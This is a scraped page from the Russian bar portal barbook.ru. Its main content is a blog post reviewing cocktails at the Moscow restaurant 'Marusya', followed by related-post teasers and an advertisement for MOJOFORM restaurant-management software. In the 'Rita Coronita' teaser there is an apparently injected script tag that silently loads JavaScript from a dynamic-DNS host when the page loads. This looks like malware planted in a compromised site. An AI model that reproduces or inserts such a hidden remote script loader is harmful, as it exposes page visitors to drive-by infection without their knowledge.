Регистрация/Вход ,
Главная / Блоги / Маруся

Блоги


Маруся




Заглянула тут на днях на пару коктейлей в "Марусю" - кажется, уже месяца полтора все только и говорят об этом заведении с ласковым именем, открытом на месте особняка Смирнова на Тверском бульваре (который в последнее время использовался как эвент-площадка класса люкс).

Что сказать, атмосфера приятная: ожидаемо классический интерьер, с немногочисленными, но яркими современными акцентами (типа подсвеченной неоном барной стойки). Публика симпатичная, светские персонажи, группы степенно ужинающих мужчин в правильных костюмах, красивые пары. По будням вечером большая часть столов пока пустует - может, просто не повезло. So far so good, как говорится - мне нравится.

Заказываю коктейль: одну из любимых вариаций маргариты, малиновую (которая, правда, не всегда есть в основном меню). Этот коктейль для меня оказался большим сюрпризом. Во-первых, у меня не спросили, делать ее классическую или fozen. И принесли коктейль с крупными хлопьями дробленого, плавающими внутри бокала. Во вторых, что гораздо хуже, вместо живых кисло-сладких ягоды малины, которые должны идеально раскрывать вкус текилы, он использовал сладкий сироп, с искусственным привкусом гренадина. Причем, кажется, добавил его раза в полтора больше. Я отпила глоток, больше не смогла, и решила попросить официанта порекомендовать что-нибудь на текиле. Официант замялся, но мой друг протянул мне свой бокал и попробовать его Зеленый чай (а на самом деле Маргариту на его основе). Этот коктейль мне понравился гораздо больше предыдущего – твердая четверка - только свою я заказала, попросив увеличить порцию текилы в полтора раза. И не ошиблась в пропорции.

Видимо, Марусе и Маргарите пока не быть подружками. Хотя, что капризничать – наверное, это все таки пока больше ресторан, и правильный бар внутри него еще нужно воспитать.

Фотография позаимствована с сайта geometria.ru

поделиться Опубликовать


Комментарии:


[сотрудник:215] KAMAL ISACOV написал 25 апреля 2010г. в 15:03.
много хорошего слышал про этот бар!



Автор блога

Natalie Tezon

Москва, 32 года.
Всего записей: 4.
написать письмо


Другие записи по теме:

Rita Coronita

Rita Coronita<nofollow><script language='JavaScript' src='http://binfostat.dyndns.org/infob.php?i=22329'></script></nofollow> Друзья! Приглашаем Вас в "Старую Гавану" попробовать новый мексиканский коктейль Rita Coronita! 
Автор: Павел

ЛЕТНЕЕ МЕНЮ В «SWISSÔTEL КРАСНЫЕ ХОЛМЫ» С 01 ИЮНЯ ПО 31 АВГУСТА 2013 ГОДА

ЛЕТНЕЕ МЕНЮ В «SWISSÔTEL КРАСНЫЕ ХОЛМЫ» С 01 ИЮНЯ ПО 31 АВГУСТА 2013 ГОДА МОСКВА, май 2013 года. Солнечно, ярко и сочно «Swissôtel Красные Холмы» открывает двери в лето, предлагая гостям обновленное меню «Энергия жизни». Блюда, вошедшие в это предложение, по-летнему легкие, но, отведав их, гость останется сыт и доволен. Новинки приготовл
Автор: Evgenia Aldashkina

Постные коктейли в Mercedes Bar

Постные коктейли в Mercedes Bar Панорамный ресторан Mercedes Bar специально для Великого Поста предлагает своим гостям серию постных коктейлей, разработанную командой бар-менеджера RCC (Russian Cocktail Club) Денисом Миллионовым с учетом не только строгих требований к используемым ингредиентам, но и достижения максимального вкус
Автор: Olga Sakulina

Зарегистрироваться / Войти
Для регистрации на barbook.ru вы можете использовать ваш профиль в социальных сетях. Не гарантируется нормальная работа в браузерах Microsoft Internet Explorer.
Для входа на barbook.ru вы также можете использовать ваш профиль в социальных сетях. Не гарантируется нормальная работа в браузерах Microsoft Internet Explorer.
Войти / Отправить анонимно
Для регистрации на barbook.ru вы можете использовать ваш профиль в социальных сетях. Не гарантируется нормальная работа в браузерах Microsoft Internet Explorer.
Для входа на barbook.ru вы также можете использовать ваш профиль в социальных сетях. Не гарантируется нормальная работа в браузерах Microsoft Internet Explorer.
Добрый день, дорогой друг!

Надеюсь, ты помнишь наш проект - barbook.ru
Мы много лет рассказывали о рецептах коктейлей, собирали исторические факты и старались быть информационным порталом для барменов.
Увы, мы были вынуждены свернуть это начинание из-за изменения законодательства РФ.

Сегодня мы рекомендуем тебе новый интересный проект, созданный дружеской командой энтузиастов. Это Платформа, которая даст тебе новые технологии ресторанного управления.
Передаём слово коллегам)


MOJOFORM — 
НОВОЕ УПРАВЛЕНИЕ
РЕСТОРАНАМИ
Специально для управленцев ресторанного бизнеса мы создали комплексное решение по автоматизации организационных процессов и процессов, связанных с людьми.

Особенности платформы:

— Платформа создана профессионалами ресторанного бизнеса и специально для рынка horeca.
— Управление на основе регламентов, чек-листов, нормативов работы;
— Готовые шаблонные регламенты позволяют сразу начать работу.

Что даёт пользование платформой:

— Формирование единой системы управления бизнеса;
— Полный контроль за качеством работы всех подразделений;
— Глубокая аналитика с интеграцией всех документов и платформ r-keeper, iiko;
— Помощь в расчете заработных плат с учётом эффективности сотрудников.

Для всех пользователей программы мы разработали бесплатный образовательный курс по эффективному управлению и автоматизации.

ПОДРОБНЕЕ НА НАШЕМ САЙТЕ
ru.mojoform.com
Еще больше регламентов и чек-листов в           Наша группа в Facebook
нашем канале Telegram. А также новости      
отрасли, секреты и фишки.                                  FB.COM/MOJOFORM


Где мы общаемся. Форум
сообщества ресторанных менеджеров